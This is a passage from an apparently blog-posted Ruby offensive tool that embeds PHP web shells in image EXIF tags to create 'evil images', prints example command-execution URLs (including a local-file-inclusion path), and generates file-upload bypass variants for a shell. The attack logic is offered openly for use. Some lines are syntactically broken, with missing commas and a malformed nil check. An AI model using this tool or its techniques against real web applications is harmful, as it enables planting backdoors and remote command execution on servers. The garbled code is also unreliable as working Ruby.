  675.     if File.exists?(img.chomp) and not File.directory?(img.chomp)
  676.       options[:img] = img.chomp
  677.     else
  678.       cls
  679.       banner
  680.       puts
  681.       puts "Problem loading Image file".light_red + "!".white
  682.       puts "Check path and permissions and try again".light_red +".....".white
  683.       puts
  684.       puts opts
  685.       puts
  686.       exit 666;
  687.     end
  688.   end
  689.   opts.on('-d''--dump'"\n\tDump All Tags w/Values".white) do|meh|
  690.     options[:method] = 1
  691.   end
  692.   opts.on('-w''--write STRING'"\n\tWrite Custom String to Tag".white) do |write_str|
  693.     options[:method] = 2
  694.     options[:str] = write_str.chomp
  695.   end
  696.   opts.on('-g''--generate NUM'"\n\tWrite PHP Shell to Tag\n\t  0 => Sneaky Shell\n\t  1 => r0ng Shell\n\t  2 => Simple System() Shell\n\t  3 => Simple Eval Shell".white) do |num|
  697.     options[:method] = 3
  698.     if num.chomp.to_i >0 and num.chomp.to_i <3
  699.       options[:shell] = num.chomp.to_i
  700.     else
  701.       cls
  702.       banner
  703.       puts
  704.       puts "Unknown Shell Generator Option Requested".light_red +"!".white
  705.       puts
  706.       puts opts
  707.       puts
  708.       exit 69;
  709.     end
  710.   end
  711.   opts.on('-t''--tag TAG'"\n\tTag Name to Write to".white) do|tag|
  712.     options[:tag] = tag.chomp
  713.   end
  714.   opts.on('-n''--nuke TAG'"\n\tTry to Delete Tag".white) do|tag|
  715.     options[:method] = 4
  716.     options[:tag] = tag.chomp
  717.   end
  718.   opts.on('-u''--uploads-gen SHELL'"\n\tGenerate Upload Bypass Possibilities for Shell".white) do |shell|
  719.     if File.exists?(shell.chomp) and not File.directory?(shell.chomp)
  720.       options[:method] = 5
  721.       options[:shell] = shell.chomp
  722.     else
  723.       cls
  724.       banner
  725.       puts
  726.       puts "Problem loading Shell file".light_red + "!".white
  727.       puts "Check path and permissions and try again".light_red +".....".white
  728.       puts
  729.       puts opts
  730.       puts
  731.       exit 69;
  732.     end
  733.     options[:shell] = shell.chomp
  734.   end
  735.   opts.on('-h''--help'"\n\tHelp Menu".white) do
  736.     cls
  737.     banner
  738.     puts
  739.     puts opts
  740.     puts
  741.     exit 69;
  742.   end
  743. end
  744. begin
  745.   foo = ARGV[0] || ARGV[0] = "-h"
  746.   optparse.parse!
  747.   if options[:method].to_i == 0
  748.     mandatory = [:method] # GUI Mode
  749.   elsif options[:method].to_i == 1
  750.     mandatory = [:method:img] # CLI DUMP
  751.   elsif options[:method].to_i == 3
  752.     mandatory = [:method:img:tag:shell] # CLI Evil Image Generator
  753.   elsif options[:method].to_i == 5
  754.     mandatory = [:method:shell] # CLI DUMP
  755.   elsif not options[:generate].nil?
  756.     mandatory = [:method:img] # CLI DUMP
  757.   else
  758.     mandatory = [:method:img:tag] # CLI WRITE OR NUKE
  759.   end
  760.   missing = mandatory.select{ |param| options[param].nil}
  761.   if not missing.empty?
  762.     cls
  763.     banner
  764.     puts
  765.     puts "Missing options".light_red + ": #{missing.join(', ')}".white
  766.     puts optparse
  767.     exit 666;
  768.   end
  769. rescue OptionParser::InvalidOptionOptionParser::MissingArgument
  770.   cls
  771.   banner
  772.   puts
  773.   puts $!.to_s
  774.   puts
  775.   puts optparse
  776.   puts
  777.   exit 666;  
  778. end
  779. cls
  780. banner
  781. case options[:method].to_i
  782. when 0
  783.   # GUI
  784.   puts "\nStarting the GUI now".light_blue + "....".white
  785.   Tk.mainloop()
  786. when 1
  787.   # Tag Dump
  788.   photo = MiniExiftool.new(options[:img])
  789.   v = photo.exiftool_version.to_s.split('.')
  790.   height = photo.image_height
  791.   width = photo.image_width
  792.   puts
  793.   puts "ExifTool v#{v[0]}".light_red + ".".white + "#{v[1]}".light_red
  794.   puts
  795.   puts "Meta Info from".light_blue + ": #{options[:img].split('/')[-1]}".white
  796.   puts "Image Dimensions".white.underline + ": ".white
  797.   puts "Image Height".light_blue + ": #{height}".white
  798.   puts "Image Width".light_blue + ": #{width}".white
  799.   puts
  800.   puts "Available Tags".white.underline + ": ".white
  801.   photo.tags.sort.each do |tag|
  802.     puts "#{tag}".light_blue + ": #{photo[tag]}".white
  803.   end
  804. when 2
  805.   # Write to Tag
  806.   photo = MiniExiftool.new(options[:img])
  807.   v = photo.exiftool_version.to_s.split('.')
  808.   height = photo.image_height
  809.   width = photo.image_width
  810.   puts
  811.   puts "ExifTool v#{v[0]}".light_red + ".".white + "#{v[1]}".light_red
  812.   puts
  813.   if not photo.tags.include?(options[:tag])
  814.     puts "Provided Tag doesn't appear to exist".light_red +"!".white
  815.     if photo.tags.include?('Comment')
  816.       puts "Trying generic approach to try and write to 'Comment' Tag".light_yellow + ".....".white
  817.       options[:tag] = 'Comment'
  818.     else
  819.       puts "Trying generic approach to create and write to Comment Tag".light_yellow + ".....".white
  820.       options[:tag] = 'Comment'
  821.     end
  822.   end
  823.   original = photo[options[:tag]]
  824.   puts "Attempting write to the ".light_blue + "'".white + "#{options[:tag]}".light_blue + "'".white + " tag".light_blue +"....".white
  825.   puts "Current Value".light_blue + ": #{original}".white
  826.   puts "Write String".light_blue + ": #{options[:str]}".white
  827.   if write(photo, options[:str], options[:tag])
  828.     photo.reload # reload the new file info
  829.     if original != photo[options[:tag]]
  830.       puts
  831.       puts "Appears things were successful".light_green + "!".white
  832.       puts "Updated Value".light_green + ": #{photo[options[:tag]]}".white
  833.     else
  834.       puts "WTF".light_red + "?".white + " Doesn't appear we changed the value".light_red + ".....".white
  835.       puts "Value".light_yellow + ": #{photo[options[:tag]]}".white
  836.       puts "Make sure Tag name was spelled properly, is writable and try again".light_red + "...".white
  837.     end
  838.   else
  839.     puts "Problem writing to '#{options[:tag]}' Tag".light_red +"!".white
  840.     puts "Make sure Tag name exists, is spelled properly, is writable and then try again".light_red + "...".white
  841.   end
  842. when 3
  843.   # Evil Image Shell Generator
  844.   case options[:shell].to_i
  845.   when 0
  846.     # Sneaky Shell
  847.     shell = 'Sneaky'
  848.     payload = sneaky_shell
  849.     c = "http://localhost/#{options[:img].split('/')[-1]}?0=system&1=id"
  850.   when 1
  851.     # r0ng Shell
  852.     shell = 'r0ng'
  853.     payload = r0ng_shell
  854.     c = "http://localhost/#{options[:img].split('/')[-1]}?r0ng=id"
  855.   when 2
  856.     # System Shell
  857.     shell = 'System'
  858.     payload = system_shell
  859.     c = "http://localhost/forum/profile.php?inc=/profiles/0123456789/#{options[:img].split('/')[-1]}?cmd=id"
  860.   when 3
  861.     # Eval Shell
  862.     shell = 'Eval'
  863.     payload = eval_shell
  864.     c = "http://localhost/#{options[:img].split('/')[-1]}?cmd=system('id');"
  865.   end
  866.   # Make sure our evil images directory exists, if not create
  867.   # We also create a temporary directory to move images in and out of for use without affecting original
  868.   # Delete temp dir and cleanup when done
  869.   tmp = HOME + '/temp'
  870.   Dir.mkdir(EVIL) unless File.exists?(EVIL) and File.directory?(EVIL)
  871.   Dir.mkdir(tmp) unless File.exists?(tmp) and File.directory?(tmp)
  872.  
  873.   real = MiniExiftool.new(options[:img])
  874.   innocent = tmp + '/' + options[:img].split('/')[-1]
  875.   FileUtils.copy_file(options[:img], innocent, preserve = true)
  876.   Dir.chdir(tmp) do
  877.     photo = MiniExiftool.new(options[:img].split('/')[-1])
  878.     v = photo.exiftool_version.to_s.split('.')
  879.     height = photo.image_height
  880.     width = photo.image_width
  881.     puts
  882.     puts "ExifTool v#{v[0]}".light_red + ".".white + "#{v[1]}".light_red
  883.     puts
  884.     if not real.tags.include?(options[:tag])
  885.       puts "Provided Tag doesn't appear to exist".light_red +"!".white
  886.       if real.tags.include?('Comment')
  887.         puts "Trying generic approach to try and write to 'Comment' Tag".light_yellow + ".....".white
  888.         options[:tag] = 'Comment'
  889.       else
  890.         puts "Trying generic approach to create and write to Comment Tag".light_yellow + ".....".white
  891.         options[:tag] = 'Comment'
  892.       end
  893.     end
  894.     original = photo[options[:tag]]
  895.     puts "Attempting to write ".light_blue + "'".white + "#{shell} Shell".light_blue + "'".white + " to the ".light_blue + "'".white +"#{options[:tag]}".light_blue + "'".white + " tag".light_blue +"....".white
  896.     puts "Current Value".light_blue + ": #{original}".white
  897.     puts "Write String".light_blue + ": \n#{payload}".white
  898.     puts
  899.     if write(photo, payload, options[:tag])
  900.       photo.reload # reload the new file info
  901.       if original != photo[options[:tag]]
  902.         FileUtils.copy_file(options[:img].split('/')[-1]"#{EVIL}/#{options[:img].split('/')[-1]}", preserve = true)
  903.         puts
  904.         puts "Appears things were successful".light_green +"!".white
  905.         puts "Updated Value".light_green + ": #{photo[options[:tag]]}".white
  906.         puts "Find your evil image here".light_green + ": #{EVIL}#{options[:img].split('/')[-1]}".white
  907.         puts "Example #{shell} Shell Execution".light_green + ": #{c}".white
  908.       else
  909.         puts "WTF".light_red + "?".white + " Doesn't appear we changed the value".light_red + ".....".white
  910.         puts "Value".light_yellow + ": #{photo[options[:tag]]}".white
  911.         puts "Make sure Tag name was spelled properly, is writable and try again".light_red + "...".white
  912.       end
  913.     else
  914.       puts "Problem writing to '#{options[:tag]}' Tag".light_red +"!".white
  915.       puts "Make sure Tag name exists, is spelled properly, is writable and then try again".light_red + "...".white
  916.     end
  917.   end
  918.   FileUtils.rm_rf(tmp)
  919. when 4
  920.   # Delete MetaTag if possible
  921.   photo = MiniExiftool.new(options[:img])
  922.   if not photo.tags.include?(options[:tag])
  923.     puts "Can't delete what doesn't exist".light_red + "!".white
  924.     puts "Make sure Tag name exists, is spelled properly, is writable and then try again".light_red + "...".white
  925.   else
  926.     if delete(photo, options[:tag])
  927.       puts
  928.       puts "Appears MetaTag removal was successful".light_green +"!".white
  929.       puts "Run the dump option to confirm the changes".light_green+ "....".white
  930.     else
  931.       puts "Problem wiping Tag".light_red + "!".white
  932.       puts "Make sure Tag name exists, is spelled properly, is writable and then try again".light_red + "...".white
  933.     end
  934.   end
  935. when 5
  936.   # Uploads Generator
  937.   puts
  938.   puts "Generating file upload bypass possibilities for #{options[:shell].split('/')[-1]}".light_blue + ".....".white
  939.   generate_uploads(options[:shell], flip='gif')
  940.   puts "Uploader bypass files created".light_green + "!".white
  941.   puts "Find them all here".light_green + ": #{UP}".white
  942.   puts "May the force be with you".light_green + "...........".white
  943. end
  944. puts
  945. puts
  946. # EOF

Hope this is helpful to someone out there....

Until next time, Enjoy!

Comments